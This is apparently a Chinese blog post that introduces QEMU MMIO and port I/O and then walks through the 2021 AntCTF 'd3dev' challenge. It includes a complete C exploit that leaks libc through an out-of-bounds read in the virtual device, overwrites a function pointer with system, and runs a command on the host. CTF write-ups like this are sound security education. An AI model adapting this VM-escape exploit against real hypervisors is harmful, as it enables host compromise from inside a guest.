0%

QEMU 初探

qemu 初探

0x0 qemu

通过memory space访问设备I/O的方式称为memory mapped I/O,即MMIO,这种情况下,CPU直接使用普通访存指令即可访问设备I/O。
通过I/O space访问设备I/O的方式称为port I/O,或者port mapped I/O,这种情况下CPU需要使用专门的I/O指令如IN/OUT访问I/O端口。

1
2
3
4
5
6
7
8
ubuntu@ubuntu:~$ lspci
00:00.0 Host bridge: Intel Corporation 440FX - 82441FX PMC [Natoma] (rev 02)
00:01.0 ISA bridge: Intel Corporation 82371SB PIIX3 ISA [Natoma/Triton II]
00:01.1 IDE interface: Intel Corporation 82371SB PIIX3 IDE [Natoma/Triton II]
00:01.3 Bridge: Intel Corporation 82371AB/EB/MB PIIX4 ACPI (rev 03)
00:02.0 VGA compatible controller: Device 1234:1111 (rev 02)
00:03.0 Unclassified device [00ff]: Device 1234:11e9 (rev 10)
00:04.0 Ethernet controller: Intel Corporation 82540EM Gigabit Ethernet Controller (rev 03)

xx:yy:z的格式为总线:设备:功能的格式。

0x1 2021 AntCtf d3dev

设备分析

首先可以通过d3dev_class_init来判断它是哪个设备.
然后可以在./launch.sh 中查看应该是d3dev这个设备出了问题, 但是这个d3devState结构体是不会默认导入的.
需要在ida中导入. 在IDA->views->subview->localtype里搜索 d3 可以找到这个设备结构体,用了这个结构体以后代码就好看很多了。

漏洞分析

参看wood1314

利用思路

利用block的越界读读出rand_r的libc地址.
然后修改rand_r对应的函数指针为system.
将r_seed和后面的block写入命令.
利用pmio_write调用rand_r

1
需要注意这里需要将key清零, 在加密解密的时候会容易一血

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/io.h>


uint32_t pmio_base = 0xc040;
unsigned char* mmio_mem;

void die(const char *message) {
perror(message);
exit(-1);
}

uint64_t decrypt(uint32_t x, uint64_t y) {
uint32_t i = 0;
do
{
i -= 0x61C88647;
x += (i + y) ^ (((unsigned int)y >> 5)) ^ (y << 4);
y = (uint32_t)(((i + x) ^ ((x >> 5)) ^ ( x << 4)) + y);
} while (i != 0xC6EF3720);

printf("x = %p, y = %p , i = %p\n",x,y,i);
uint64_t ans = (y << 32) + x;
printf("ans = %p\n",ans);
return ans - 0x4AEB0;
}

uint64_t encrypt(uint64_t x){
uint32_t v4 = x;
uint64_t result = x >> 32;
uint32_t addr = 0xC6EF3720;
do {
result = (uint32_t)(result - ((v4 + addr) ^ (v4 >> 5) ^ (v4 << 4)));
v4 -= (result + addr) ^ (((unsigned int)result >> 5)) ^ (16 * result);
addr += 0x61C88647;
} while(addr) ;
return result << 32 | v4;
}

void pmio_write(uint32_t addr, uint32_t val) {
outl(val, addr);
}

uint64_t pmio_read(uint32_t addr) {
return inl(addr);
}

uint32_t mmio_read(uint32_t addr){
return *((uint32_t*)(mmio_mem + addr));
}

void mmio_write(uint32_t addr, uint32_t val) {
*((uint32_t*)(mmio_mem + addr)) = val;
}

void set_seek(int seek) {
pmio_write(pmio_base + 8, seek);
}

void reset_keys(){
pmio_write(pmio_base + 4, 0);
}

int main(int argc, char *argv[]) {
uint32_t tmp, tmp1, tmp2;
int mmio_fd = open("/sys/devices/pci0000:00/0000:00:03.0/resource0", O_RDWR | O_SYNC);
if (mmio_fd == -1)
die("mmio_fd open failed");
mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);

if (mmio_mem == MAP_FAILED)
die("mmio_fd mmap failed");

// mmio_read(24);

if (iopl(3) != 0)
die("port permission is not enough");

reset_keys();
set_seek(0x100);

uint32_t x;
uint64_t y, libc_base;
x = mmio_read(24);
y = mmio_read(24);
libc_base = decrypt(x, y);
printf("libc_base = %p\n", libc_base);
uint64_t system = libc_base + 0x0000000000055410;
mmio_write(24, (uint32_t)(encrypt(system)));
mmio_write(24, (uint32_t)(encrypt(system) >> 32));

uint32_t flag1 = 0x20746163; //"cat "
uint64_t flag2 = 0x67616c66; // "flag"

set_seek(0);
mmio_write(0, (uint32_t)(encrypt(flag2)));
mmio_write(0, (uint32_t)(encrypt(flag2) >> 32));

pmio_write(28 + pmio_base,flag1);
return 0;
}